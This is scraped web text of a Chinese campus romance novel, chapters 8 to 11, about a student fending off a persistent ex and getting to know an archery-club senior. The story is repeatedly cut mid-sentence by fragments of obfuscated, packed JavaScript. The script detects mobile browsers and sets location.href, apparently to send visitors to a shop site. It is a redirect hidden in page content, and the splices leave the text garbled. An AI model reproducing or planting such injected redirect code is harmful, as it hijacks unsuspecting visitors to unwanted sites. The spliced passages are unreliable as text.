l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283386|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室的背景音。 “哎对了，因因。”赵新艺摘掉了美瞳，转过头来看梁因一眼，“所以这周末陆子恒完全没来骚扰你？” “嗯。”梁因点点头，转过去一些，“他好像终于学会放弃了。” “呃。”正在往衣柜里挂衣服的周静雨动作一顿，转过头来看向梁因，喊她。 “怎么啦？” “我忘了跟你说了。”周静雨扶了一下眼镜，“今天下午……陆子恒来加我微信了。” 梁因愣了两秒，随即拧起了眉：“他加你微信干什么？” “就是问你还有没有其他联系方式，让我帮他说说好话，让你把他从黑名单放出来之类的。”周静雨眨眨眼睛，“但是我没理他。” 梁因：“……” 不论是在各种平台给她发消息，还是给她送多肉，甚至在下课之后在寝室楼下等她，梁因虽然无奈，但没怎么真的生气，因为她觉得陆子恒早晚会自讨没趣，却没想到他居然找上了她的室友。 “小雨你别理他。”梁因深吸了一口气，“你把他删了吧，我明天去找他。” 周静雨有些担心：“可是你——” “没事儿，本来就不应该把你扯进来的。”梁因抿了抿唇，“不好意思啊。” “我没什么的啦。”周静雨摆了摆手，“可是他至于这么执着吗？” “对啊，他自己做出那种事情，心里没点数？”丁玥附和，“而且因因拒绝得够明显了吧？” “有些人就是这样子的。”赵新艺已经卸完了妆，头发用鲨鱼夹夹在脑后，正在收拾洗澡要用的东西，“且不论他那个女朋友到底是怎么回事，他就是觉得自己早晚能拿下因因，所以就算中途出了个意外，他也不会认为自己犯了多大的错，只会觉得因因是在跟他闹脾气。” “闹脾气？”丁玥的表情变得难以描述，“他哪来的自信？” “谁知道呢。”赵新艺一耸肩，“他长得还行，可能之前嘴挺甜的，平时装装样子就能比较容易地达成目的吧。” 周静雨看了看梁因：“所以因因也是他的目的？” “不好说，不过我觉得他未必多喜欢因因。”赵新艺提着澡篮，“他可能就是享受这种尽在掌握的感觉吧，觉得因因就是在闹脾气，哄哄就能好——反正他应该是接受不了你这样突然跟他断掉的，他只能接受他主动开始或者结束一段关系，一旦被动，他就会非常不爽。” 作为另一个当事人的梁因长叹一口气，躺倒在了椅子上：“真是人不可貌相。” “好啦。”赵新艺走过来摸摸她的脸，“这又不怪你。” 目送赵新艺出门去洗澡，梁因坐直了些，冲周静雨伸出手，捏了捏她的手指：“不好意思啊，这个事儿本来跟你没关系的。” “没事儿的。”周静雨顺势在她这边的楼梯上坐了下来，想了想道，不过——” “不过什么？” 周静雨清了清嗓子，又抬手扶了一下眼镜：“不过你要是真的觉得不好意思的话，周一晚上箭协的活动，你陪我去好不好？” 8. Chapter 08 “周一晚上？明天？”梁因一愣，“社团活动不是周三下午吗？” 丁玥在一旁趴在椅背上饶有兴致地围观，“哎哟哟”的八卦语气词弄得周静雨有点儿不好意思，捏了捏自己的发尾，还是点了点头。 “嗯，就是沈铭川问我来着，说周一他们有人想去练，问我有没有时间。”周静雨看着梁因，“我一个人不太好意思，因因，你陪我一起去好不好？” 梁因点点头：“可以啊。” “哎呀。”丁玥笑着感叹一声，看向周静雨，“我能开始嗑了吗？” “……说什么呢。”周静雨别开眼不搭理她，继续收拾东西去了，脸颊到耳根则泛起了有些不好意思的红晕。 丁玥点到为止，笑嘻嘻地跟梁因对视一眼，起身安抚地摸了摸她的肩膀，去阳台上收衣服了。 梁因随即缓缓收了笑，又长叹了一口气。 她确实是没想到这件事居然拖泥带水到现在，甚至牵连了她的室友，心烦意乱地刷了会儿手机，然后又点开微信朋友圈翻了翻，给新发的几条点了赞，又退回聊天界面，看到一个聊天框被顶了上来。 发来消息的是赵殊，梁因上一届的学长，大一开学时每个班级都分配了一位学长或者学姐，配合辅导员帮助新生适应大学生活，赵殊负责的便是他们班，理所当然地加了大家的微信。 赵殊：【晚上好，梁因同学】 赵殊：【上次我问你的事情，考虑好了吗？】 梁因有一瞬间的茫然，随即往上看了看聊天记录，才发现之前赵殊跟她说的事情已然被她丢到了脑后—— 上周赵殊给她发消息，说学院举办了一个配音比赛，想邀请她组队，问她有没有时间、愿不愿意。 赵殊人很好，大一刚开学那阵就加了他们班群，对大家的各种提问都耐心地有问必答，也经常主动问大家需不需要什么帮助，梁因对他印象不错。 而梁因也很敏锐地察觉到赵殊对她的关心或许超过对其他同学不少，虽然对方没有明说，但她能意识到他对她多少是有好感的。 就比如这个配音比赛，就算赵殊非要找小一届的学妹组队，更优选择也应该是周静雨这个专业课六边形战士，而非只拿了个三等奖学金的她。 相比梁因，赵新艺才是那种抓人眼球的漂亮，一米七的个子加上大波浪，一眼便让人惊艳的长相。 至于梁因，她看起来更像是清纯无害的小学妹，笑起来的时候仿佛一颗柠檬味的薄荷糖。 大一开学不久，301寝室夜聊，赵新艺就曾下过结论，说梁因这样又乖又甜的类型更容易招桃花——当然，质量没法保证。 事实证明赵新艺眼光毒辣，一语成谶。 梁因连忙打字回复：【不好意思啊学长，最近有点事情，忘记及时回复你了】 赵殊回得很快：【是遇到什么困难了吗？有什么需要我帮忙的吗？】 梁因：【不用不用，也没什么啦】 梁因：【关于配音比赛，我考虑了一下还是觉得我可能还是不参加了，我水平也就一般，怕给学长学姐拖后腿，希望现在回复不会太晚，耽误你们准备/合十】 梁因：【祝学长尽快找到更合适的人选～】 发完之后梁因便在对话框等着，赵殊“正在输入”了好一会儿，才弹出来一个气泡。 赵殊：【那好吧，没关系，你先忙你的】 赵殊：【要是有什么需要帮忙的事情，尽管来找我好了】 赵殊：【不用跟我客气】 梁因叹了口气，手上则还是在聊天框里输入“谢谢学长”，点击发送之后想了想，又跟了一个微信自带的愉快笑脸表情。 “怎么还愁眉苦脸的啊？”赵新艺洗完澡回来，一开门便看到梁因在叹气，“还是因为陆子恒的事儿？” “不是。”梁因放下手机摇了摇头，“没事儿。” “我刚才洗澡的时候还是在想，看陆子恒这架势，估计不会就这么轻易放弃的。”赵新艺拉开椅子坐下，一边护肤一边说道，“因因你还是要做好准备。” “我怎么做准备啊？”梁因趴在了桌上，枕着自己的手臂。 “他不是很自信吗？”赵新艺撕开一片面膜敷在脸上，“你找个比他牛比他帅能全方位碾压他的男朋友，看看他还会不会觉得自己才是最无敌的。” “听起来倒是挺有道理。”丁玥说道，“但是说实话，陆子恒的条件已经算可以了，要能全方位碾压他……有点儿难吧？” “或者你雇一个特别能打的，每天接送你上下课，要是陆子恒来骚扰你，就让他挨揍呗。” 赵新艺这句是玩笑话，逗得大家都乐了，她自己也连忙仰起头摆了摆手，把面膜翘起来的部分一点点抹服帖。 梁因也笑了，赵新艺刚才说到“找个能全方位碾压陆子恒的人”时，她甚至真的在心里仔仔细细地盘算了一番自己认识的男生，想来想去好像只有一个能满足这个条件。 脑袋里浮现一个酷哥的身影，而她在不远不近的人群，看着他冷静地搭箭，拉弓—— “因因？” 梁因猛地回过神，脑海里的那只箭离弦而去，正中靶心。 “想什么呢？”丁玥伸手在她面前挥了挥，“是不是想到谁了啊？” “这不是在想吗。”梁因眨眨眼睛，夸张地叹了口气，开玩笑道，“希望现在马上从天上给我掉下来一个黄金单身汉——唉，我要求不高，明天也行。” 当然，什么时候能天降大帅哥这件事暂且搁置一边，梁因眼下更重要的事情是应付陆子恒。 她不想牵扯别人，也不太想麻烦谁来帮忙，如果她可以自己解决的话，那当然是最好。 于是周一的公选课刚一下课，准备好去找梁因的陆子恒起身便看见她朝自己走了过来，虽然脸上没什么表情，确实这几天第一次主动来找他。 想到这里，陆子恒便慢悠悠地放下包，等着梁因走到他面前。 “因——” “你为什么要去加我室友？”梁因打断了他的招呼，干脆利落地提问。 梁因知道自己的长相没什么攻击性，于是有些话的情绪和她想要表达的程度也有时会被错判低估，气势总被弱化，于是在陆子恒面前，为了杜绝他多想，梁因砍掉了一些“礼貌”，并且板着脸，尽量表现出凶巴巴的样子。 陆子恒一愣：“当然是因为我联系不到你，很担心你。” “……我很好，不用你担心。”梁因顿了顿，“我上次已经说过了，我觉得我们没有必要再联系了。” 陆子恒看着她，又叹了口气。 “因因，我知道你还在生气，你别说这样的气话，我是真心对你的，要不然也不会费劲心思去找你室友的联系方式，你说对不对？” 梁因从听见他开口的那个称呼开始便皱起了眉，耐着性子听完他的这番话，心里腾出一股无名火。 真心？哪门子真心？ 脚踏两条船同时跟不止一个女生接触的真心？ 深呼吸两下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283387|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，梁因看着陆子恒，忽然道：“你不就是想让我把你从黑名单里放出来吗？可以，但是你别再去找我室友了。” 说完，梁因便当着他的面点开微信，把他从黑名单里放了出来。 “当然，我——” “那就好，我先走了。”得到了陆子恒的回答，梁因点了点头，没听他后面想说什么，转头便背着包走了。 一直头也不回地从教学楼里走出去，梁因才缓缓松了一口气，回想了一下刚才和陆子恒的对话，觉得自己发挥得还不错。 正打算从包里拿出遮阳伞，梁因的头顶上忽然从后面飘来一片阴影。 “你怎么走得这么快呀，我差点没看到你。”是周静雨的声音。 梁因转过头去冲她笑了笑，挽上她的胳膊：“你怎么过来啦？” “下午去图书馆了，看看时间你刚好下课，就顺便过来接你。”周静雨观察她一会儿，“去吃饭吗？叫艺姐和玥玥直接去食堂汇合？” “好呀。”梁因点了点头，又跟周静雨说道，“你放心，以后陆子恒不会再来找你了。” “我没关系的，不理他就好了。“周静雨把目光投向梁因，“他没有为难你吧？” 梁因摇摇头。 “那就好。”周静雨也放下心，和梁因挽着手臂往食堂的方向走，看着她低头拿着手机在群里发消息，抿了抿唇，喊她一声。 “嗯？”梁因已经把消息发了出去，抬头看周静雨。 “今天晚上……你别忘了啊。” “放心。”梁因笑起来，点了点头，“我记得的，肯定陪你去。” 弓箭协会有一个微信群，梁因确认了沈铭川没有在群里发消息，那就显然是单独给周静雨私发了，也就说明这两人多少是有些发展余地的——如果可以的话，在某些时候推波助澜，梁因当然义不容辞。 不过……不知道程臻会不会去。 她忽然一愣，有些没想到自己居然会想到他。 可能是认识的人里能“全方位碾压陆子恒”的唯一人选吧，不过他看起来就冷冷的酷酷的，而且这样条件的男生，已经名草有主的概率并不低。 梁因没再想下去，手机屏幕亮了亮，她以为是寝室群里的消息，低头解锁一看，却没想到来自刚刚被她从黑名单放出来的陆子恒。 梁因：“……” 身旁人脚步顿了顿，周静雨有些茫然地顺势看过去：“怎么了？” “没事。”梁因无视了陆子恒没事儿人似的约她明天一起去后街吃饭的消息，把手机放进口袋，“广告短信。” 几分钟后两人便到达食堂，赵新艺和丁玥也很快到达，四人刚好占了一张小桌子吃麻辣烫。 从寝室出发的两人关心了一番梁因和陆子恒“会谈”的结果，表示要是他之后继续骚扰梁因，她倒是可以认真考虑一下赵新艺昨晚的提议。 “接天降大帅哥。”丁玥笑道。 吃完饭之后，四人去超市逛了一圈才回寝室，休息片刻后，梁因便和周静雨一起出发去射箭馆。 虽然不是社团常规的活动时间，但场馆里人也不少，梁因环视了一圈，没看到沈铭川，倒是看见箭道上一个还算熟悉的身影，毫不意外地穿了件黑色的印花T恤。 他是批发了一堆黑色T恤吗……这是梁因脑海中闪过的第一个念头。 奈何他身高臂长，优越的身材条件在拉弓时一览无遗，梁因远远看着，脑袋里忽然又很突兀地冒出了三个字。 接到了。 9. Chapter 09 不过梁因并没有来得及做什么深入思考，因为沈铭川出现在了她们面前，打了声招呼时候便说带她们去拿装备，而他站的位置刚好挡住了梁因看程臻的目光。 有意识地给周静雨和沈铭川留说话的空间，梁因落了一步的距离跟在后面，拿出手机看了看。 陆子恒又给她发了几条消息，好像并不在乎之前的几条梁因没有回复。 皱了皱眉头，梁因无声叹气，把手机塞回口袋，和周静雨一块儿开始穿戴护具。 第二回站上箭道，相比上一次要更熟练一些，只是动作要领还是需要在脑海里无声地过一遍，梁因长长吐了一口气，拉开手里的弓，瞄准，松手。 一支箭颤颤巍巍钉在靶上的红色区域，梁因站着发了一会儿呆，又抽出一支箭。 沈铭川在她们这里指导了一会儿动作，有人过来喊他，他便打了声招呼离开，让她们两个自己玩一会儿。 梁因对准头没什么要求，只是觉得心里烦闷，便发泄似的一通乱射，半组箭只有一支落在黄色区域。 又一支箭堪堪打中七环，梁因手臂有点儿酸，举着弓的手刚放下，身后冷不丁响起一个声音。 “心情不好？” 梁因完全没察觉到脚步声，被吓了一跳，转过头去看的时候微微睁大了眼睛，对上了程臻的视线。他站在两步外，抱着胳膊看着她，不知道在那里停留了多久。 梁因目光下移几分，看了看程臻的衣服，今天他的这件黑色T恤上的印花很简单，只在胸口处有一只简笔勾勒出的小熊。 “……啊？”她脑子一下子没转过弯儿来。 梁因被吓到的样子像只警惕的小动物，程臻抬眸看了一眼她的靶子，随即收回目光，再开口时语气淡淡，跟聊天似的：“看你有点儿心不在焉。” “哦，还好。” 还好，一个在梁因心目中相当好用的词汇，内涵深厚，她将其当作似是而非的承认，通常用于她不想说谎却又不愿意多说，也不希望对方刨根问底追问的时候。 程臻于是点点头，没再说什么，而是忽然冲梁因摊开手。 梁因：“……？” 他手很好看，指节纤细修长，皮肤净白，能隐隐看见青色的纹路。梁因垂眸看了看程臻手心的线纹，又抬起头，有些茫然地跟他对视。 “弓给我一下。”程臻弯了两下手指。 “噢。”梁因把自己手里的弓递了过去，见能压酸她胳膊的弓拿在他手里仿佛就忽然小了一号——不过也是，梁因转念一想，她和周静雨都是新手，沈铭川给她们俩拿了18磅的弓，想必拿在程臻就跟玩儿似的。 程臻把她的弓拿在手里，随即伸手从一旁的箭筒里抽了一支箭，举到了梁因面前。 “你就把这个当成那些乱七八糟的事情。” 说完，程臻把箭卡上了弓弦，挪了两步站到了她旁边的箭道，拉弓，那支箭离弦而出，狠狠扎进了靶子的正中心。 “就当是发泄，把烦恼都跟着箭一块儿甩出去，钉在靶子上。”程臻把弓举在半空，给梁因做示范，“右手不要握太紧，拇指稍微放松一点——不管怎么样，动作要领不能放松，不然容易受伤。” “哦，好。”梁因点了点头，伸手接过程臻递回来的弓，推把上还留着他掌心的体温，她随即又抬眸，若有所思地看着他。 程臻也没走，偏头极轻地勾了勾唇角：“怎么了？” 梁因在想他刚才跟她说话的样子。 他说话其实很耐心，声音很好听，语速也不快，说是指点，反倒更像是……分享。 “啊，没什么，我一会儿就试试看。”梁因摇摇头，朝他露出一个笑，“谢谢。” “不客气。” 梁因目送了他几步，随即收回视线，刚好和抱着弓俨然在一旁观察许久了的周静雨对视，后者慢悠悠地抬手扶了扶眼镜。 “他好像——” “我觉得他就很合适啊。” ……嗯？ 后面那句话是周静雨说的，梁因于是把她的半句话咽了回去，问道：“他合适什么？” “他很明显可以秒了陆子恒。”周静雨一本正经地抬手，做了个抹脖子的动作，又眨眨眼睛，“就是看着有点高冷不好接近——可是他刚才是不是冲你笑了？” 周静雨跟丁玥和赵新艺不太一样，她相比之下更加内敛，不像另两位，如果她们在这里，早就笑嘻嘻地缠着她八卦了。 “其实他……好像也还好。”梁因把刚才没说完的话说了出来，转头，看程臻又在指导别人的动作，那是个男生，他于是直接上手按住了对方的肩膀。 半晌梁因收回目光，抬眼望向她的靶子，摸出一支箭，按照程臻刚才说的，让烦恼的事情跟着箭飞了出去。 脚踏两条船，明明有女朋友，还瞒着她骗她。 还说什么真心，被拉黑了竟然去骚扰她的室友。 在她明确表态之后，依旧不依不饶地发消息。 她倒真慢慢琢磨出了一点儿快感，尤其是松手放箭之后，一头扎进靶子，且不论成绩，这个过程就跟打沙袋发泄似的，后背微微出了汗，但意外地轻松了不少。 梁因伸手想摸下一支箭，却摸了个空，低头才发觉所有的箭都已经在靶子上了，她把弓放到一旁的地上，手臂后知后觉地有些酸痛。 “我歇会儿啊。”梁因跟周静雨说了一声，去一旁的椅子上坐下，轻轻捶着手臂。 不一会儿周静雨也射空了她的箭筒，其他箭道上还有别人，她便没也没急着拔箭，走过来和梁因排排坐。 “好累啊。”周静雨说，“我手臂也好酸。” “手臂酸就休息一会儿。”沈铭川从旁边走近，隔了一个人的位置在周静雨旁边坐下，“你们刚上手，强度太高容易伤到自己。” 说完，沈铭川递了两瓶水给她们：“给，喝点水。” 还不错嘛——梁因看了周静雨一眼，道了声谢伸手接过。 沈铭川坐着跟她们聊了一会儿，梁因尽量减少自己的存在感，同时也留心观察着沈铭，见他虽然是在和她们两个说话，但大部分时候目光都落在周静雨身上。 “川儿！” 后方传来一道大嗓门，长椅上的三人同步抬头闻声看过去，来人靠近了才注意到沈铭川旁边还有两个女生，脚步硬生生一顿。 这个男生梁因有印象，第一天社团活动的时候见过，叫林砚。 “不好意思啊，打扰你们说话了？” “没有没有。”周静雨连忙摇了摇头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283388|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怎么了？”沈铭川转头看他。 林砚搭上他的肩：“我跟桃桃一会儿去后街吃夜宵，你跟橙子一块儿不？” 桃桃，橙子，听起来像个水果聚会——梁因心道。 “他答应了？” “他说你去他就去，他不要一个人当电灯泡。”林砚把自己说笑了，目光忽然落到周静雨和梁因身上，“你还没给我介绍呢，这两位是你朋友？” 见沈铭川点头，林砚下一秒便笑了起来：“那正好啊，你们两位有时间吗？一块来啊。” 林砚显然是自来熟的类型，看她们的眼神十分友好，不带什么打量的意味，也没有让人不舒服的轻浮。 “他就这样。”沈铭川笑了，向两人解释，“你们要是想早点回去休息的话也好，如果没别的事儿的话，要不要一起去吃一点儿？人多也热闹。” 突如其来的夜宵局邀约从天而降，周静雨和梁因对视了一眼。 梁因没从周静雨的眼神里看到任何“不愿意”的成分，看起来只是有些犹豫，她便决定肩负起撮合周静雨和沈铭川的职责，笑眯眯地点了点头应下：“好啊，我们来。” “好嘞。”林砚也笑了，拍了拍沈铭川的肩膀，“那我去跟橙子说啊。” 说完便风风火火跑远，梁因目送了他一小段儿，收回目光时听见沈铭川开口道：“他刚才说的陶陶是他女朋友，橙子你们认识，就是程臻。” 啊，此“程”非彼“橙”。 脑海里圆滚滚的橙子形象“砰”一声变成了个黑T大帅哥，梁因眨了眨眼睛，没来由地有点儿想笑。 梁因于是扭头去找程臻的身影，见林砚揽着他的肩膀跟他说什么，还抬手指了指她们这边，程臻抬眼看过来，刚好对上梁因的视线。 这回她没躲，大大方方冲他露出一个笑。 林砚好像是在跟他说什么，随即程臻点了点头，他便也朝她们这儿转过来，笑嘻嘻地比了个大拇指，然后从口袋里摸出手机打字。 沈铭川于是也摸出手机，果不其然收到了林砚的消息，说他现在去接女朋友下课，他们可以稍等一会儿先去占位置点菜。 “那你们要再玩一会吗？”沈铭川收起手机问道。 梁因喝了口水，忽然装作随口一提道：“对了小雨，你刚才不是说箭总是往旁边歪吗，刚好学长在，你问问他是怎么回事呗？” 周静雨一愣，转过头去看她——我什么时候说过？ 梁因笑了，冲她眨了眨眼睛——给你创造机会呢！ “是吗？”沈铭川看了一眼箭道，“瞄准的时候要稍微注意一下——现在还累吗？我看看你动作？” “你们去吧，我胳膊好酸。” 梁因没动，目送两人一边说话一边往箭道走，双手往后一撑，愉快地晃了晃腿。 片刻后她伸了个懒腰，起身去摘了身上的护具。 回到原位坐下后，梁因又想起什么，摸出手机偷偷拍了张周静雨和沈铭川的背影照，发到了301的群里，并实时通报他们一会儿还要去吃夜宵。 丁玥和赵新艺回得很快，梁因捧着手机乐呵呵地跟她们聊天，身侧隐约传来动静，她扭头，看见穿着黑色T恤的橙子先生坐在了她身侧的椅子上，隔了一个人的距离。 10. Chapter 10 程臻很放松地坐着，身上的护具也都已经摘掉了，手臂搭在膝盖上，拧开矿泉水瓶的盖子，随即仰起头喝水，喉结上下滚动。 梁因看了他一会儿，程臻似乎也察觉到身旁的视线，转过了头，目光下移，注意到了她无意识揉捏手臂的动作。 “手酸？” “啊，对，有一点。”梁因点点头，又轻轻敲了两下，她刚才倒也没完全睁眼说瞎话，胳膊确实有点儿酸。 “是正常的。”程臻拧上了矿泉水的瓶盖，“刚开始练的时候，射个半组一组就休息一会儿，别硬来——慢慢就能习惯了，射箭本来就能练背练手臂，也能当个锻炼身体的方式。” “好。”梁因点了点头应下，犹豫两秒，还是决定满足自己的好奇心，问道，“你是不是已经练很久了呀？” “算挺久了。”程臻似乎是思索了一阵，“有十年了吧。” 十年？ 这个数字超乎了梁因的预料，她原本以为程臻或许是从高中就开始练了，没想到居然是从……小学？！ 梁因睁大了眼睛看着程臻，眼神和表情都难掩惊讶。 程臻看着她，微一挑眉：“不像吗？” “没有没有。”梁因摇摇头，顿了两秒还是问道，“我只是在想，你怎么不选那些更——” 梁因的话在这里卡了壳。 她原本想说的是“更帅的运动项目”，譬如篮球足球这些，在场地上阳光下挥洒汗水，公认的充满青春活力的运动，可脑海中忽然闪过程臻举弓拉弦的样子，那个“更帅”怎么也说不出口。 于是大脑飞速运转试图寻找一个更合适的替代词，程臻看了看她，把梁因说到一半的话接了下去：“那些更大众的运动项目？” 啊，对对对，大众。好词。 梁因点了点头，猜想曾经或许也有不少人问过他类似的问题。 程臻没有立刻回答，又拧开矿泉水瓶喝了一口，抬眼看着远处没有人的箭道，梁因也顺着他的目光看过去，什么都没有，只有墙上的一排靶子。 “你现在心情好点儿了吗？” 程臻忽然转过头来看着她，问了个没头没脑的问题，梁因一愣，但还是笑着点点头，答道：“好多了，谢谢你，你跟我说的方法还挺有用的。” 然后她看见程臻一扬眉，牵起唇角也笑了笑：“大概这就是原因吧。” 梁因愣了一下。 他看起来没有想继续多说的样子，梁因便也点到为止没有追问，两人于是便很安静地坐在长椅上。 摸起手机看了一眼，微信里又收到了陆子恒的消息，梁因皱了皱眉，回复了一句“明天有事”，随即把他设置成了消息免打扰，重新把手机塞回了口袋。 梁因再抬头时，见程臻也低着头看手机。 他们两个之间只不过是认识，远没有熟悉到程臻会特意坐过来跟她聊天的程度，估计是因为一会儿的夜宵局来等沈铭川的。 梁因看着他的侧脸，黑色的T恤显得程臻挺白，但他完全不是那种干瘦的身材，拿着手机的手臂线条劲瘦有力，手背上也能看见明显的青筋。 周静雨的话适时在耳畔响起——他的确可以秒了陆子恒。 可是…… “时间差不多了。”程臻忽然开口，把正蠢蠢欲动，想把主意打到他头上的梁因吓了一跳，他转过头去看她，“怎么了？” “哦，没事。”梁因有些心虚，冲他笑了笑，连忙把话题拉了回来，“你刚说什么时间差不多了？” “夜宵。”程臻说，“林砚他女朋友快下课了，我们先去店里占个桌。” 说完他便起身，随手把矿泉水瓶一丢，准确地投进了一旁的垃圾桶：“我去喊他们俩。” “好。”梁因点点头。 夜宵局的先遣小分队很快出发，四个人走在一排显然有点儿挡路，于是梁因和周静雨挽着手臂走在前面，两个男生跟在一步之后。 他们的目的地是后街的百里香烧烤，梁因入校时被学长学姐列入了“后街美食排行榜top10”中，是物美价廉的夜宵店代表之一。 这个点儿进店已然人声鼎沸，大半位置已经被坐满，好在角落还有一张大桌，能够六个人坐。 落座时梁因抢先了一步，让周静雨“刚好”能和沈铭川隔了个桌角相邻着坐，程臻则坐在了她对面。 “先点菜吧。”沈铭川道。 百里香烧烤用的还是传统的纸质点单模式，沈铭川问服务员要了菜单和铅笔，先推到了两个女孩儿面前：“你们俩先来。” 烧烤的菜单里总有些不出错的选择，梁因和周静雨头凑头勾选了些常规的选项，荤素搭配，随即把菜单和笔推了回去。 “你们能吃辣吗？”沈铭川问道，“微辣？” “行。” 沈铭川又简单勾了几样，把菜单和笔又传给了程臻，后者一边看他们都点了些什么，另一只手无意识地转着那支铅笔。 梁因盯着他的动作看。 她记得初中的时候，有一段时间班上流行转笔，还有同学特地去买那种不能写只能转的转笔带来教室玩，梁因看得心痒痒，于是也拿自己的笔练习。 结果总是一圈都转不到，笔就噼里啪啦掉到桌子上不说，有一回她的水笔笔盖没有盖紧，笔转了半圈从她手上掉落到身上，盖子被甩飞，她身上那条很喜欢的裙子被划出了一条长长的黑印子。 然后梁因就再也没有转过笔，但并不妨碍她一直以来都还是很喜欢欣赏别人转笔，如果手好看动作灵活的话，当然更加加分。 比如程臻。 “你们喝什么？可乐雪碧还是北冰洋？”程臻把菜单翻了过来，转笔的手也停了。 梁因在心里叹了口气，随即跟周静雨对视了一眼：“北冰洋吧，我们俩一样。” 程臻点点头，转头问沈铭川：“你呢？可乐？” “嗯。”沈铭川应了一声，“他们俩的一会儿等他们自己来点吧。” “好。”程臻在菜单上勾了两下，又想起什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283389|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么，抬头问两个女生，“能喝冰的吗？” “能。”梁因点点头，放在桌上的手机忽然亮了亮，显示微信的未读消息。 她已经把陆子恒设置成了免打扰，这显然不会是他发来的消息，梁因于是解锁屏幕点开微信看了看，发现消息是何诗瑶发的。 小姑娘先问她在没在，等了一会儿之后又发来一张图，是她英文试卷的照片，她画出了一个句子在旁边打了个问号，说这句话她有点没看懂，不知道句子结构怎么划分。 梁因点开图片放大看了看，句子很长，确实有点儿难度，打字解释起来有点复杂，她想了想，起身准备找个安静些的地方给她发语音。 “有点事儿，我去打个电话。”梁因解释道。 烧烤店里开了空调，梁因不想去外面，便退而求其次地站在门口相对安静一些的角落处，给何诗瑶发语音。 梁因一边说话，目光一边无意识地透过玻璃门往外看——她的大部分注意力都放在给何诗瑶讲该如何分析句子结构上，只分出了一小部分，漫无目的地隔着玻璃看外面来来往往的人群。 目光忽然一凝，梁因看见路旁的树下好像有人在晃，但稍微有点儿看不清，最后一条语音刚好讲完，于是她便把手机收了起来，凑近了玻璃好奇地往外瞧。 这下梁因看清了，那不是一个人，而是两个——有一对情侣在树下拥抱在一起接吻。 梁因：“……” 她完全不是想偷窥人家亲密，有些懊恼又尴尬地倒吸一口气，赶紧转头准备回去，却没想到一回头刚迈出去一步，险些迎面撞上走过来的人。 入眼的是一片黑色上的线条小熊，很眼熟，梁因抬眼，果不其然地撞进了一双熟悉的眼睛。 “怎么了？”程臻也有些好奇地往外看了看，他过来的时候就看见梁因隔着玻璃偷偷摸摸地往外看，结果下一秒就跟踩了地雷似的扭头就跑。 “没事没事。”梁因连忙摇头，问道，“你怎么过来啦？” 程臻抬手指了指旁边的冰柜：“饮料在这边，自取。” “……哦。”梁因长长吐了一口气，“那我帮你。” 林砚和他女朋友人还没到，便只需要先拿四瓶，程臻拿了两瓶可乐，让梁因拿了两瓶北冰洋，关上冰柜门之后便往他们那桌走去。 “诶让一下，小心小心啊！”店里的工作人员提着两箱饮料往这边走了过来，走道窄，梁因往旁边挪了挪让路，却不料不小心踩到掉落在地上一根签子，脚下一滑，失去了重心。 两只手上各拿着一瓶北冰洋，短时间里梁因没法腾出手来扶旁边的桌子，干脆闭上眼一咬牙准备好了摔这一跤，只是希望别太疼。 “当心——” 然而腰间却忽然多了一股力道扶了她一把，梁因便顺着这股力道，不受控制地一头扎进了一个盈满清新草木香的怀抱。 ……更准确地说，是梁因的脑袋磕到了程臻的胸膛，两人手里的玻璃瓶也撞在了一块儿，发出一声清脆的响。 11. Chapter 11 梁因睁开眼时，再次和线条小熊对视。 “没事儿吧？”程臻确认梁因站稳了才松开手，问她是否有撞到哪里。 “没有。”梁因小幅度地退后一步，心有余悸地瞥了一眼旁边的桌角，随即抬头对上程臻的眼睛，“谢谢你啊。” “没事儿就好。”程臻点点头，停顿了几秒，随即稍显不自在地清了清嗓子，“走吧。” 这只是个小插曲，他们回到桌边不久，林砚和他女朋友也到了，他一来，整桌的空气也更热闹活跃了几分。 林砚的女朋友叫陶莹，梁因原本先入为主，以为叫“桃桃”的女生应该是走可爱路线的，却没想到她穿了件素色连衣裙，黑色长发披在身后，气质沉静温和。 他们几人显然相熟，但丝毫没有冷落周静雨和梁因，一边吃烤串一边聊天，气氛十分轻松自在。 “橙子，帮我递个纸，谢了。” 程臻拿起他那边的抽纸塞进林砚手里，梁因闻言抬眼，轻轻咬着吸管，目光在两人之间来回反复，一脸欲言又止。 林砚正在低头擦手上沾到的油，没看到，程臻则注意到了梁因的眼神，微一挑眉：“怎么了？” “啊。”梁因眨了眨眼睛，又看了林砚一眼，“他为什么叫你橙子呀？” 这么甜的水果，跟他的气质好像并不太搭。 